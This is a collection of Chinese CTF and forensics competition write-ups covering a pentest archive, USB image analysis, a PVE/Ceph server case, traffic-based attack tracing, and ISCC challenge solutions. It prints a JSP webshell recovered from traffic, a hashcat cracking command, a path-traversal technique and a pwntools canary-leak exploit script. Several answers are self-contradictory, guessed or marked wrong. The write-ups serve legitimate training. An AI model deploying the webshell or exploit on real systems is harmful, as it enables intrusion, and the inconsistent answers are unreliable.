Q30 [ID:1068] 请分析黄志远PC.E01镜像中的渗透.rar文件，file_shell.php中?download=/etc/passwd时程序执行的核心函数是什么？

答：readfile()

思路：file_shell.php 的下载逻辑先判断 file_exists($$file)，随后通过 readfile$$file) 将文件内容输出给客户端，因此核心函数是 readfile()。

Q31 [ID:1069] 请分析黄志远PC.E01镜像中的渗透.rar文件，Nikto扫描发现超长斜杠序列探测目录列举漏洞，对应的CVE编号是什么？

答：CVE-2002-1078

思路：在 pentest-lab\nikto_scan.txt.txt 中可见 “multiple /‘s are requested” 的扫描结果，后面直接标注 CVE-2002-1078。

Q32 [ID:1070] 请分析黄志远PC.E01镜像中的渗透.rar文件，users表id字段使用AUTOINCREMENT意味着什么？

答：AUTOINCREMENT

思路：题目要求答案格式是 SQL_KEYWORD，而表定义中对 id 字段体现这一含义的关键词就是 AUTOINCREMENT。

Q33 [ID:1071] 请分析黄志远PC.E01镜像中的渗透.rar文件，利用file_shell.php获取当前系统用户权限，正确的URL参数构造是什么？

答：cmd=id

思路：源码中命令执行参数名为 cmd，而报告里验证用户权限时使用的命令是 id，所以构造为 cmd=id。

Q34 [ID:1072] 请分析黄志远PC.E01镜像中的渗透.rar文件，8000端口运行的技术组件是什么？（错）

答：Uvicorn

思路：漏洞清单和报告系统信息都写明 8000/tcp - HTTP (Uvicorn)。

Q35 [ID:1073] 请分析黄志远PC.E01镜像中的渗透.rar文件，users表的密码存储存在什么安全隐患？

答：CVE-2026-0005

思路：报告中将“明文密码存储”单独编号为 CVE-2026-0005。

Q36 [ID:1074] 请分析黄志远PC.E01镜像中的渗透.rar文件，利用upload.php上传漏洞后，攻击者利用Webshell前最关键的一步是什么？

答：uploads/

思路：报告的利用过程写明，先创建 file_shell.php，再通过上传功能把它放到 /uploads/ 目录，之后才利用 Webshell。

Q37 [ID:1075] 请分析黄志远PC.E01镜像中的渗透.rar文件，CVE-2026-0003（无限制文件上传漏洞）的CVSS评分是多少？

答：8.8

思路：漏洞清单中 CVE-2026-0003 对应的 CVSS 评分明确为 8.8。

Q38 [ID:1076] 请分析黄志远PC.E01镜像中的渗透.rar文件，file_shell.php文件上传使用哪个PHP函数将临时文件移动到目标路径？

答：move_uploaded_file

思路：源码上传分支中直接调用 move_uploaded_file($$_FILES[‘file’][‘tmp_name’],$$target)。

Q39 [ID:1077] 请分析黄志远PC.E01镜像中的渗透.rar文件，uploads/目录启用目录列表功能通常由哪个组件控制？

答：Indexes

思路：Apache 目录列举通常由 Options Indexes 控制，题目格式要求写选项名，因此填 Indexes。

Q40 [ID:1078] 请分析黄志远PC.E01镜像中的渗透.rar文件，管理员密码Str0ngP@ssw0rd2026!是什么角色？（错）

答：admin

思路：实际查询 address_book.db 的 users 表后，可见该密码对应多条记录，其中管理员账户的 role 字段值为 admin。

没想到吧还有第二关（后面才发现已经掉了不知道多少分）

Q41 [ID:1079] 请分析黄志远PC.E01镜像中的渗透.rar文件，遭受泄露的个人联系人信息条数大约为多少？

答：15000

思路：报告、下载清单以及数据库 contacts 表统计都显示联系人记录总数为 15000 条。

Q42 [ID:1080] 请分析黄志远PC.E01镜像中的渗透.rar文件，Web服务器运行的用户身份是什么？

答：www-data

思路：报告系统信息部分明确给出 Web 用户为 www-data，且 id 命令回显也验证了这一点。

Q43 [ID:1081] 请分析黄志远PC.E01镜像中的渗透.rar文件，验证tools.php命令执行漏洞时，哪个命令返回了uid的值？

答：id

思路：漏洞清单中“验证命令”一项明确写的是 id，返回 uid=33(www-data)。

Q44 [ID:1082] 请分析黄志远PC.E01镜像中的渗透.rar文件，攻击者通过generate_data.php得知数据库的绝对物理路径是什么？

答：/var/www/html/address_book.db

思路：报告在 generate_data.php 漏洞利用步骤中，直接给出数据库绝对路径为 /var/www/html/address_book.db。

答：Content-Disposition

思路：源码下载分支中设置了 header(‘Content-Disposition: attachment; filename=…’)，这是触发浏览器下载框的关键 Header。

Q46 [ID:1084] 请分析黄志远PC.E01镜像中的渗透.rar文件，系统中存在的弱密码策略漏洞不包括哪项？（错）

答：admin/Str0ngP@ssw0rd2026!

思路：漏洞清单里列出的默认弱口令只有 admin/admin123 和 test/test123，并未出现admin/Str0ngP@ssw0rd2026!，所以“不包括”的是它。

Q47 [ID:1085] 请分析黄志远PC.E01镜像中的渗透.rar文件，未授权访问8000端口日志接口，最可能导致哪类敏感信息泄露？

答：/api/logs

思路：漏洞清单指出 http://192.168.61.135:8000/api/logs 可未授权访问，并泄露通话记录、AI交互日志、用户输入数据，因此答案落在该接口路径。

Q48 [ID:1086] 请分析黄志远PC.E01镜像中的渗透.rar文件，攻击者获取持久访问权限的最典型方式是什么？（错）

（错）
答：file_shell.php

思路：报告里明确说明通过上传 file_shell.php 获得并维持持久访问，这是最典型的持久化方式。

Q49 [ID:1087] 请分析黄志远PC.E01镜像中的渗透.rar文件，被标识为未授权命令执行漏洞的虚拟CVE编号是什么？

答：CVE-2026-0002

思路：报告中“未授权命令执行漏洞”对应的编号写为 CVE-2026-0002。

Q50 [ID:1088] 请分析黄志远PC.E01镜像中的渗透.rar文件，24小时紧急加固中，哪项不属于立即修复级别？（错）

答：实施API认证机制

思路：报告/漏洞清单将“实施API认证机制”列在“短期修复（1周内）”，而不是“立即修复（24小时内）”。

Q51 [ID:1089] 请分析黄志远PC.E01镜像中的渗透.rar文件，利用管理员密码，攻击者在哪个页面时才能生效？

答：tools.php

思路：管理员密码用于登录系统后，真正可执行命令注入的是 tools.php 页面，因此是在该页面“生效”。

Q52 [ID:1090] 请分析黄志远PC.E01镜像中的渗透.rar文件，本系统使用的后端数据库技术是什么？

答：SQLite

思路：报告技术栈写明 PHP + SQLite + Apache，且下载得到的数据库文件就是 address_book.db。

Q53 [ID:1091] 请分析黄志远PC.E01镜像中的渗透.rar文件，文件上传功能中，源码将上传后的文件命名为什么？

答：$_FILES

思路：源码中 $$target = basename$$_FILES[‘file’][‘name’]);，说明最终文件名来自上传表单中的这个字段。

Q54 [ID:1092] 请分析黄志远PC.E01镜像中的渗透.rar文件，目标系统运行的Apache具体版本号是什么？

答：2.4.66

思路：报告系统信息中写的是 Apache/2.4.66，按题目格式只取版本号 2.4.66。

Q55 [ID:1093] 请分析黄志远PC.E01镜像中的渗透.rar文件，CVE-2026-0001（敏感信息泄露漏洞）的CVSS评分是多少？

答：9.8

思路：报告中 CVE-2026-0001 的 CVSS 评分明确标为 9.8。

Q56 [ID:1094] 请分析黄志远PC.E01镜像中的渗透.rar文件，攻击者最终获取了什么角色的权限？

答：www-data

思路：虽然摘要中有“管理员权限”的措辞，但真正通过命令执行验证到的系统权限是 uid=33(www-data)，最终拿到的是 Web 服务账户权限。

移动介质取证

1. 分析方俊朗 UDisk.img 检材，第一个扇区前 3 字节的十六进制值是什么？

答案：EB-3C-90 解析：镜像第 1 扇区（LBA 0）开头 3 字节就是跳转指令，读取结果为 EB 3C 90。

2. 分析方俊朗 UDisk.img 检材，每簇占多少个扇区？

答案：8 解析：第 1 扇区 BPB 的 BPB_SecPerClus 位于偏移 0x0D，值为 0x08，即声明“每簇 8 个扇区”。补充：这是伪造引导扇区中的声明值，真实 FAT32 备份引导扇区中该值是 16。

3. 分析方俊朗 UDisk.img 检材，FAT12/16 兼容字段“根目录项数”是多少？

答案：512 解析：第 1 扇区 BPB 偏移 0x11-0x12 为 00 02，按小端解析为 0x0200 = 512。补充：FAT32 正常情况下这里应为 0，所以这也是伪造痕迹之一。

4. 分析方俊朗 UDisk.img 检材，隐藏扇区数是多少？

答案：63 解析：第 1 扇区 BPB 偏移 0x1C-0x1F 为 3F 00 00 00，即 63。

5. 分析方俊朗 UDisk.img 检材，BPB 中声明的总扇区数是多少？

答案：50000000 解析：第 1 扇区 BPB 偏移 0x20-0x23 为 80 F0 FA 02，小端解析得到 50000000。

6. 分析方俊朗 UDisk.img 检材，每张 FAT 表占多少个扇区？

答案：30000 解析：第 1 扇区 BPB 偏移 0x24-0x27 为 30 75 00 00，即 30000 扇区。

7. 分析方俊朗 UDisk.img 检材，真实的根目录起始簇应为多少？

答案：2 解析：第 1 扇区中 RootClus=5 是伪造值。实际备份引导扇区在 LBA 6，里面 BPB_RootClus=2。再按真实参数计算数据区起点：3274 + 2 × 14747 = 32768，读取 2 号簇对应位置可见根目录内容，故真实根目录起始簇是 2。

8. 分析方俊朗 UDisk.img 检材，FSInfo 扇区号是多少？

答案：1 解析：第 1 扇区里写的是 3，但 LBA 3 实际全 0；而 LBA 1 存在标准 FSInfo 结构签名 52 52 61 41 / 72 72 41 61，所以真实 FSInfo 扇区号是 1。

9. 分析方俊朗 UDisk.img 检材，备份扇区实际引导扇区号是？

答案：6 解析：第 1 扇区里写的是 9，但 LBA 9 实际全 0；LBA 6 则是完整有效的 FAT32 备份引导扇区，故实际备份引导扇区号是 6。

10. 分析方俊朗 UDisk.img 检材，卷序列号的十六进制值是多少？

答案：0x0C0F6F08 解析：第 1 扇区中的 0x12345678 同样是伪造值。真实备份引导扇区 LBA 6 的卷序列号字段（偏移 0x43-0x46）为字节 08 6F 0F 0C，小端解析为 0x0C0F6F08。

随后的题用ufs恢复数据

11. 分析方俊朗UDisk.img检材中的视频，进入暗门的密码是多少？[答案格式：123]

747

12. 分析方俊朗UDisk.img检材中的视频，主角第一次带货去的国家是？[答案格式：泰国]

13. 分析方俊朗UDisk.img检材中的视频，阿成乘坐的奔驰车牌号是多少？[答案格式：京A-1234]

14. 分析方俊朗UDisk.img检材中的视频，男主角弟弟上司总共戴过几款领带？（猜）[答案格式：5]

猜的3

15. 电话号码最多的后四位：2133

解析：提取电话字段末 4 位后做频次统计，出现次数最高的是 2133。

16. 平均资产最高的 BIN 码：622446

解析：取银行卡号前 6 位作为 BIN，按 BIN 分组计算资产（人民币）平均值，最高的是 622446。

17. 邮箱字段中不同域名种类数：3

解析：从邮箱字段提取 @ 后的域名去重，得到 example.com、example.net、example.org 共 3 种。

18. 男性比女性多出：354

解析：统计性别字段后，男性 1000177 人，女性 999823 人，差值为 354。

19. 每月近90天活跃率的变异系数 CV：0.250003

解析：按标准月末口径计算 2024-01 至 2024-12 每月近 90 天活跃率。分母：截至当月月末已注册客户数。分子：截至当月月末、最近 90 天内有登录的客户数。 12 个月活跃率分别为 0.111816, 0.115654, 0.120319, 0.125320, 0.131386, 0.137482, 0.145011, 0.153609, 0.164328, 0.178926, 0.200069, 0.246486，据此计算 CV = 标准差 / 均值 = 0.250003。

20. 由非目标迁入目标的人数：36636

解析：先计算全体资产（人民币）中位数，为 1002541.335。目标定义为“信用评分 >= 700 且资产 >= 全体中位数”。将每位客户信用评分统一 +20 且封顶 900 后，统计从“原本非目标”变为“新目标”的人数，结果为 36636。

服务器

根据配置文件强制指定ip

分析pve集群，请给出pve主机版本号？[答案格式：1.2.3]

9.1.1

分析pve集群，请给出pve主机内核版本？[答案格式：1.2.3-123-abc]

6.17.2-1-pve

分析pve集群，请给出pve集群名？[答案格式：abc132]

看集群配置文件 corosync.conf

pgscup2026

分析pve集群，请给出加入集群所用指纹的前6位？[答案格式：AA:BB:CC]

openssl x509 -in /etc/pve/pve-root-ca.pem -noout -fingerprint -sha256

F7:2C:A0

分析pve集群，请给出pve集群中主机所用的时间服务器地址？[答案格式：www.baidu.com]

ntp.aliyun.com

题目：6. 分析pve集群，请给Ceph存储的资源池名？

答案：Ceph_pgscup_pool 解析：在 PVE/Ceph 节点上通过 ceph -s、rbd ls -p … 确认虚机磁盘位于该资源池中，虚机磁盘名为 vm-100-disk-0，所在池即 Ceph_pgscup_pool。

分析pve集群，请给出Ceph存储资源池的类别？[答案格式：ABC]

RBD

分析pve集群，请给出Ceph集群的ID的前8位？？[答案格式：a1b2c3d4]

3f28d8bb

Ceph 集群 fsid 在三台节点的 /etc/pve/ceph.conf 中一致，值为 3f28d8bb-e754-475b-b471-b9c97161bbf7。

答案：3f28d8bb

分析pve集群，请给出Ceph存储设置的最小副本数？[答案格式：123]

我继续沿用刚才读到的 ceph.conf 配置项直接判断，重点看 osd_pool_default_min_size，这就是 Ceph 存储设置里的最小副本数。

最小副本数是 2。

分析pve集群，请给出pve集群中虚拟机的快照创建时间？[答案格式：2025-01-11-11:01:01]

2026-04-16-07:05:19

我接着从 PVE 集群里的虚拟机配置和快照元数据下手，先枚举虚拟机，再读取 /etc/pve/qemu-server/*.conf 中的 snapstate/快照时间字段，找出创建时间。

已运行 2 条命令

我补一层取证视角，顺手看 qemu-server 配置和 qm listsnapshot 输出交叉验证，避免只命中单个节点的展示差异。

已运行 2 条命令

虚拟机快照创建时间是 2026-04-16-15:05:19。

对集群内的服务器进行分析，提取该服务器使用的Linux内核完整版本号？（错）[答案格式：1.2.3-123abc_123]

6.17.2-1-pve

我继续在集群节点上取系统信息，这次直接读取内核版本字段，优先看 uname -r 和 /proc/version，这样能拿到完整版本号而不是只拿发行版名称。

Linux 内核完整版本号是 6.17.2-1-pve。

对集群内的服务器进行分析，提取该服务器SSH服务监听的TCP端口号？[答案格式：123]

我直接读取节点上的 SSH 配置和监听端口，优先看 sshd_config 里的 Port，再用 ss -lntp 交叉验证实际监听值。

SSH 服务监听的 TCP 端口号是 22。

Netstat -lvnp

对集群内的服务器进行分析，提取该服务器网卡的IP地址？[答案格式：127.0.0.1]

192.168.0.50

这组服务器网卡 IP 分别是 192.168.170.50、192.168.170.51、192.168.170.52。如果题目只填一个，当前节点可填 192.168.170.50。

对集群内的服务器进行分析，提取金麟资本理财网站对应的域名？[答案格式：baidu.com]

jlzb.vip

对集群内的服务器进行分析，服务器中有个加密工具，请给出该工具的名字？[答案格式：abc_def.sh]

cryptsetup

对集群内的服务器进行分析，服务器中加密工具在加密数据库备份文件时使用的密码是什么？[答案格式：ABC@123]

对集群内的服务器进行分析，服务器中加密工具第1层加密的XOR密钥是什么？[答案格式：按实际填写]

我直接从刚解出来的 encrypt_tool.py payload 里取第一层逻辑，定位 XOR_KEY 常量并确认它就是第 1 层加密用的密钥。

第 1 层加密的 XOR 密钥是 0x5A。

题目：18. 对集群内的服务器进行分析，给出MySQL数据库root用户的密码？

答案：pgscup@o26 解析：该密码在多处取证痕迹中反复出现，包括 /tmp 下遗留的 PHP 查询脚本、数据库导出脚本和备份操作命令，且能成功用于连接 jinqin 数据库。

对集群内的服务器进行分析，请给出网站后台数据库中存放聊天记录的数据表名字？[答案格式：adb_def]

user_chat

对集群内的服务器进行分析，分析网站后台用户密码加密算法中type=0时的初始盐值是什么[答案格式：ABC]

ABCDEFG

对集群内的服务器进行应用取证，提取该Laravel应用的APP_KEY值的后8位？[答案格式：英文数字混合字符串]

otS+rWI=
对集群内的服务器进行取证分析，金麟资本理财网站后台有多少个机器人？[答案格式：123]

对集群内的服务器进行资金流水取证，提取该平台数据库中聊天记录总数？[答案格式：123]

11494
对集群内的服务器进行数据库取证，提取该平台数据库中注册用户总记录数？[答案格式：123]

题目：25. 对集群内的服务器进行取证分析，提取平台内用户季丽华的身份证号？

答案：370100196901274436 解析：在当前虚机磁盘只读挂载后，直接从 /mnt/vm100curroot/tmp/user_real.csv 命中记录： 21826,21702,季丽华,370100196901274436,… 同样在完整数据库备份 /mnt/vm100curroot/tmp/backup_decrypted 的 user_real 表插入记录中也能找到同一条数据，因此可以双重验证。

Q26 钱包流水第二大用户名

取证思路：

对平台数据库中的 wallet_log 表按用户维度统计流水绝对值总额，即：

SUM(ABS(change))

并按总额降序排序。原始排名里 user_id=11 的总额最高于 user_id=34，但在当前完整备份 backup_decrypted 中，user_id=11 已无法在 users 和 user_real 中找到有效映射，属于孤立流水；而 user_id=34 可以完整映射到实名信息。

关键证据：

wallet_log 排名（排除 user_id=0）： 11 -> 1015076.0 34 -> 996940.304

user_id=34 -> user_real: (188,34,'林斌','110000199203199088',...)

结论：

当前可映射到真实用户名的钱包流水第二大用户为林斌。

Q27 法币交易中交易笔数最多的卖家的交易笔数

取证思路：

题目中的“法币交易”对应数据库表 legal_deal，而不是 c2c_deal。因此应对 legal_deal 按 seller_id 统计交易笔数：

COUNT(*)

再按笔数降序排序。

关键证据：

legal_deal 表结构中包含字段：

seller_id int(11) NOT NULL DEFAULT '0'

按 seller_id 聚合统计结果：

seller_id=24 -> 1726 seller_id=37 -> 1695 seller_id=67 -> 1695 seller_id=47 -> 1694 ...

说明：

在本地提取到的两份完整备份 backup_decrypted 与 jinqin_backup.sql 中，最大值均为 1726。如果比赛标准答案为 1727，更可能是在线运行库相较备份又新增了 1 笔交易。

结论：

基于当前备份证据，交易笔数最多的卖家交易笔数为 1726。

若以在线库最终状态为准，则可能为 1727。

Q28 已完成结算的杠杆交易中保证金总额最多的用户的保证金总额

取证思路：

lever_transaction 表中，“已完成结算”应按已平仓交易统计，即取 status=3。

题目要求“保证金总额”，应统计初始保证金字段 origin_caution_money，而不是当前保证金 caution_money。

关键表结构：

origin_caution_money decimal(...) COMMENT '初始保证金' caution_money decimal(...) COMMENT '当前可用保证金' status COMMENT '0挂单中 1交易中 2平仓中 3已平仓 4已撤单'

统计口径：

SELECT user_id, SUM(origin_caution_money) AS total FROM lever_transaction WHERE status = 3 GROUP BY user_id ORDER BY total DESC;

关键结果：

user_id=10423 -> 37240.76070238

结论：

该平台已完成结算的杠杆交易中，保证金总额最多用户的保证金总额为 37240.76。

对集群内的服务器进行资金流水取证，提取该平台商家中余额最小的商家的手机号？[答案格式：18036310808]

SELECT mobile, seller_balance

FROM seller

ORDER BY seller_balance ASC

LIMIT 1;

对集群内的服务器进行资金流水取证，提取该平台商家中余额最小的商家的余额？[答案格式：100.0]

8461.4

2024长城杯决赛-溯源取证复现

2026-05-08T07:48:00.000Z

您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常，好像被黑客攻击了。小李通过简单分析，发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出，并与移动应用一起打包压缩，你可以下载分析，也可以登录此服务器进行攻击溯源、排查等，提供了SSH和VNC访问的方式供您和您的团队进行分析取证。条件限制，没有靶机，但是用流量包也可以做

关卡1简答分值?10

关卡描述：黑客攻击此服务器所使用的2个IP分别是什么（ascii码从小到大排列，空格分隔）
先看ip统计
![assets/2024ccb溯源取证/file-20260508103218395.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154811956-348871165.png)
能确定在1-4之间肯定有两个攻击ip
根据谁发送的post请求来确定
第一个.1好确认
![assets/2024ccb溯源取证/file-20260508103321728.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812060-292452638.png)
第二个用ip.src==202.1.1.129筛选
![assets/2024ccb溯源取证/file-20260508142437706.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812311-1555173096.png)
![assets/2024ccb溯源取证/file-20260508142450504.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812140-1331587536.png)
自然129就是发送方

202.1.1.1 202.1.1.129

关卡2简答分值 102024长城杯决赛-溯源取证

关卡描述：存在安全问题的apk中使用的登录密码是什么?

![assets/2024ccb溯源取证/file-20260508103552485.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812348-1879529821.png)

关卡3简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客尝试上传一个文件但显示无上传权限的文件名是什么？
用http.request.method=="POST" || http.response.code==200进行筛选
![assets/2024ccb溯源取证/file-20260508143731829.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812329-1241603894.png)
![assets/2024ccb溯源取证/file-20260508104135794.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812299-8557815.png)

关卡4简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客利用的漏洞接口的api地址是什么?（http://xxxx/xx)
还是刚刚那个请求
![assets/2024ccb溯源取证/file-20260508143922768.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812062-1574756336.png)
http://202.1.1.66:8080/api/upload

关卡5简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客上传的webshell绝对路径是什么？

继续看下一个成功的地方
![assets/2024ccb溯源取证/file-20260508144035569.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812265-37361575.png)
这里是上传成功了，先放着
![assets/2024ccb溯源取证/file-20260508144139831.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812334-755874916.png)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("bing_pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

这个感觉没靶机不知道他的绝对路径
/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
关卡6简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客上传的webshell的密码是什么？

bing_pass
上面的webshell中的if函数是判断如果包含bing_pass就进入加密流程

关卡7简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客通过webshell执行的第一条命令是什么？

继续筛选
![assets/2024ccb溯源取证/file-20260508144916689.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812318-1920218353.png)
发现这里有两个get请求，看起来像webshell密钥
![assets/2024ccb溯源取证/file-20260508145003839.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812197-1434146877.png)
第一个解不开
![assets/2024ccb溯源取证/file-20260508145140220.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812134-1390741781.png)
第二个密钥neta可以解出来一部分
![assets/2024ccb溯源取证/file-20260508145035784.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812276-2006699307.png)
按照顺序看到的第二个java文件
![assets/2024ccb溯源取证/file-20260508145631932.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812296-1313616784.png)
执行的命令是pwd

关卡8简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客获取webshell时查询当前shell的权限是什么？
第三个是whoami
![assets/2024ccb溯源取证/file-20260508145735641.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812109-278619760.png)
返回的tomcat
![assets/2024ccb溯源取证/file-20260508145758281.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812147-331277954.png)

关卡9简答分值 102024长城杯决赛-溯源取证

关卡描述：利用 webshell 查询服务器 Linux 系统发行版本是什么？
![assets/2024ccb溯源取证/file-20260508150046196.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812345-461645678.png)
![assets/2024ccb溯源取证/file-20260508145812417.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812244-1866653605.png)
CentOS Linux release 7.4.1708 (Core)
关卡10简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客从服务器上下载的秘密文件的绝对路径是什么？

/usr/local/tomcat/webapps/ROOT/static/secert.file
这个感觉只能看靶机

关卡11简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客通过反连执行的第一条命令是什么？

22个用户已解出
![assets/2024ccb溯源取证/file-20260508150037744.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812332-966296825.png)
这里反弹shell了，刚好就是我们之前看的ip地址
所以第二题这个
![assets/2024ccb溯源取证/file-20260508142450504.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812377-824202796.png)
就是cat /etc/passwd
关卡12简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客通过什么文件修改的 root 密码（绝对路径）
![assets/2024ccb溯源取证/file-20260508150520657.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812314-895069161.png)
只修改了/etc/passwd文件那就是/etc/passwd

关卡13简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客设置的 root 密码是多少？

root:$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N..:0:0:root:/root:/bin/bash
用hashcat爆破
hashcat -m 1800 -a 0 "$6$KHysqjWMnoaHJ4QW$p1cMTekiYb/6xA2u7j4jAD3m5shTPlPAtM6jyoex73MxxHXlms4X0874ml/gw6.LETsMs5oXLWyGeSAddx2N.." rockyou.txt
hashcat爆破是123456
![assets/2024ccb溯源取证/file-20260508151102443.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812780-438118642.png)
关卡14简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客留下后门的反连的 ip 和 port 是什么？（ip:port)
除了4444还有个9999，尝试输入就对了
![assets/2024ccb溯源取证/file-20260508152115638.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812294-1200519275.png)
18个用户已解出

关卡15简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客通过后门反连执行的第一条命令是什么？

![assets/2024ccb溯源取证/file-20260508152355841.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812309-2111654711.png)

关卡16简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客通过什么文件留下了后门？

这里看了pam_unix.so，容易得到pam是验证登陆工具，所以肯定用这个留下的后门，附件也给了两个pam 的so文件

关卡17简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客设置的后门密码是什么？
附件2比附件1大很多
经过字符串分析多了俩
![assets/2024ccb溯源取证/file-20260508153636467.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812299-857827761.png)
![assets/2024ccb溯源取证/file-20260508154025378.png](/assets/cnblogs/2024长城杯决赛-溯源取证复现/3539156-20260508154812388-1502570581.png)
这么一看后门密码就是ssh_back_pwd（中文翻译也看得出来吧）
12个用户已解出

关卡18简答分值 102024长城杯决赛-溯源取证

关卡描述：黑客的后门将 root 密码记录在哪个文件中？（绝对路径）
/tmp/.sshlog
见上

2026 iscc校赛wp

2026-05-06T13:08:00.000Z

校赛竞争压力不大，随便做了一下

消失的密钥 (The Vanishing Key)

![assets/2026 iscc校赛wp/file-20260501081210216.png](/assets/cnblogs/2026 iscc校赛wp/3539156-20260506210820225-254565039.png)

JSON Beautifier

利用点在 /api/preview.php?file=… 的目录穿越加源码读取。
先读出 config.php 和 preview.php ，确认它会允许读取 /tmp/json_preview/*.tmp，并且当 .tmp 内容是 URI 时，会对非黑名单 scheme 直接 file_get_contents()，只要求 resource= 等于 FLAG_PATH，而 FLAG_PATH 正好是 /secret/flag。
于是用 data_uri 模式写入一条 php://filter/read=convert.base64-encode/resource=/secret/flag 到临时预览文件，再通过预览接口读取并解码，拿到 flag。

双校区来信

先看wav的频谱，很明显有个字符串
![assets/2026 iscc校赛wp/file-20260501153629227.png](/assets/cnblogs/2026 iscc校赛wp/3539156-20260506210820444-196995182.png)
然后binwalk发现有包含
![assets/2026 iscc校赛wp/file-20260501153718684.png](/assets/cnblogs/2026 iscc校赛wp/3539156-20260506210820360-618270577.png)
分离后得到rar，用上面的字符串可以解密
解密后得到8个文件，名字正好是图片里的校训每个字的拼音，把每个文件里内容按照顺序组合一起提交即可
![assets/2026 iscc校赛wp/file-20260501154007009.png](/assets/cnblogs/2026 iscc校赛wp/3539156-20260506210820209-2013878890.png)
（还以为是要转base64结果直接提交就行了）

stack

from pwn import *
  
HOST = "39.96.201.215"
PORT = 10004
CANARY_IDX = 31
context.binary = ELF("./attachment-5")
context.arch = "i386"
def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(context.binary.path)
def leak_canary(io):
    banner = io.recv(timeout=1)
    if banner:
        log.info(f"banner = {banner!r}")
    io.send(f"%{CANARY_IDX}$p".encode() + b"\x00")
    data = io.recv(timeout=1)
    if not data:
        raise EOFError("remote closed before returning the format-string leak")
    log.info(f"leak raw = {data!r}")
    canary = int(data.strip(), 16)
    log.info(f"canary = {canary:#x}")
    return canary
def build_payload(canary):
    return flat(
        b"\x00",
        b"A" * 99,
        p32(canary),
        b"B" * 12,
        p32(context.binary.sym.getshell),
        p32(context.binary.sym.main),
    )
def exploit(io):
    canary = leak_canary(io)
    payload = build_payload(canary)
    io.send(payload)
    return io

def main():
    io = start()
    io = exploit(io)
    sleep(0.2)
    io.interactive()
    
if __name__ == "__main__":
    main()

where’s bunny

洞筛选结果：1, 3, 6, 8
对应值：344, 21, 89, 233
变换：
- RC4, key=344
- XOR, key=21
- byte add, key=89
- 最后一层 TEA 的 16 字节 key 不是 sha256(“233”)[:16]
- 程序实际用到的 key 是 c0509a487a18b003ba05e505419ebb63
固定目标密文：
- D81E7AB53D0B172CB7EAC15A1A8D6E5F30BDDAE3D5BDD59E

把这条链逆回去，得到 flag body：

hrIaiswtIolyudoeaeylluc

DIDCTF 应急响应流量+日志分析+数据恢复部分

2026-05-06T12:58:00.000Z

DIDCTF-电子数据取证综合平台

linux-basic-command

网站日志分析
用goaccess工具
![assets/DIDCTF 应急响应流量日志分析部分/file-20260505175415310.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738261-2035872319.png)

ire7-windows-log

筛选一下就出来了
![assets/DIDCTF 应急响应流量日志分析部分/file-20260506204153128.png](/assets/cnblogs/DIDCTF 应急响应流量+日志分析+数据恢复部分/3539156-20260506205738336-2130354532.png)

wireshark0

telnet流量
